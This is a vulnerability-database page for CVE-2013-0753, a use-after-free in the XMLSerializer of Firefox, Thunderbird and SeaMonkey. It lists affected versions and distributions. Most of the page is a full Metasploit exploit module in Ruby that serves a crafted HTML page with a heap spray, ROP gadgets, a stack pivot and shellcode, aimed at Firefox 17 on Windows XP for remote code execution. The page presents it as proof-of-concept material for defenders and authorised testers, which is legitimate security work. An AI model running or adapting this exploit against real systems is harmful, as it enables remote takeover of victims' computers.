CVE-2013-0753

critical
Published 2013-01-13 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allows remote attackers to execute arbitrary code via crafted web content.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-27940 remote windows verified ruby ยท 6 KB
Metasploit ยท 2013-08-29

Mozilla Firefox - XMLSerializer Use-After-Free (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox XMLSerializer Use After Free',
      'Description'    => %q{
        This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
        an use after free of an Element object, when using the serializeToStream method
        with a specially crafted OutputStream defining its own write function. This module
        has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
        SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht',  # Vulnerability Discovery, Analysis and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0753' ],
          [ 'OSVDB', '89021'],
          [ 'BID', '57209'],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
          [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true
        },
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Space'       => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Firefox 17  / Windows XP SP3',
            {
              'FakeObject'   => 0x0c101008, # Pointer to the Sprayed Memory
              'FakeVFTable'  => 0x0c10100c, # Pointer to the Sprayed Memory
              'RetGadget'    => 0x77c3ee16, # ret from msvcrt
              'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
              'StackPivot'   => 0x77c15ed5, # xcht eax,esp # ret msvcrt
            }
          ]
        ],
      'DisclosureDate' => 'Jan 08 2013',
      'DefaultTarget'  => 0))

  end

  def stack_pivot
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    vprint_status("Agent: #{agent}")

    if agent !~ /Windows NT 5\.1/
      print_error("Windows XP not found, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    unless agent =~ /Firefox\/17/
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    # Fake object landed on 0x0c101008 if heap spray is working as expected
    code = [
      target['FakeVFTable'],
      target['RetGadget'],
      target['RetGadget'],
      target['RetGadget'],
      target['RetGadget'],
      target['PopRetGadget'],
      0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
    ].pack("V*")
    code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
    code << [target['PopRetGadget']].pack("V") # pop # ret
    code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})

    js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
    js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
    js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))

    content = <<-HTML
<html>
<script>
var heap_chunks;

function heapSpray(shellcode, fillsled) {
  var chunk_size, headersize, fillsled_len, code;
  var i, codewithnum;
  chunk_size = 0x40000;
  headersize = 0x10;
  fillsled_len = chunk_size - (headersize + shellcode.length);
  while (fillsled.length <fillsled_len)
    fillsled += fillsled;
  fillsled = fillsled.substring(0, fillsled_len);
  code = shellcode + fillsled;
  heap_chunks = new Array();
  for (i = 0; i<1000; i++)
  {
    codewithnum = "HERE" + code;
    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  }
}

function gen(len, pad) {
  pad = unescape(pad);

  while (pad.length < len/2)
    pad += pad;

  return pad.substring(0, len/2-1);
}

function run() {
  var container = [];

  var myshellcode = unescape("#{js_code}");
  var myfillsled = unescape("#{js_random}");
  heapSpray(myshellcode,myfillsled);

  var fake =
  "%u0000%u0000" +
  "%u0000%u0000" +
  "%u0000%u0000" +
  "%u0000%u0000" +
  "%u0000%u0000" +
  "%u0000%u0000" +
  "%u0000%u0000" +
  "#{js_ptr}";

  var small = gen(72, fake);

  var text = 'x';
  while (text.length <= 1024)
    text += text;

  var parent = document.createElement("parent");
  var child = document.createElement("child");

  parent.appendChild(child);
  child.setAttribute("foo", text);

  var s = new XMLSerializer();
  var stream = {
    write: function() {
      parent.removeChild(child);
      child = null;
      for (i = 0; i < 2097152; ++i)
        container.push(small.toLowerCase());
    }
  };

  s.serializeToStream(parent, stream, "UTF-8");
}
</script>
<body onload="run();">
</body>
</html>
    HTML

    print_status("URI #{request.uri} requested...")
    print_status("Sending HTML")
    send_response(cli, content, {'Content-Type'=>'text/html'})

  end

end

Metasploit modules

Firefox XMLSerializer Use After Free
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

redhat Red Hat Affected 4 releases
VersionStatusFixed in
6.3 Affected โ€”
6.0 Affected โ€”
5.9 Affected โ€”
5.0 Affected โ€”
suse SUSE Affected 5 releases
VersionStatusFixed in
12.2 Affected โ€”
12.1 Affected โ€”
11.4 Affected โ€”
11 Affected โ€”
10 Affected โ€”
ubuntu Ubuntu Affected 4 releases
VersionStatusFixed in
12.10 Affected โ€”
12.04 Affected โ€”
11.10 Affected โ€”
10.04 Affected โ€”

Application impact

VendorProductVersionsFixed
mozilla mozillafirefox{"endExcluding":"18.0"}18.0
mozilla mozillaseamonkey{"endExcluding":"2.15"}2.15
mozilla mozillathunderbird{"endExcluding":"17.0.2"}17.0.2
mozilla mozillathunderbird_esr{"startIncluding":"10.0","endExcluding":"10.0.12"}10.0.12

References

CWEs

CWE-416

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.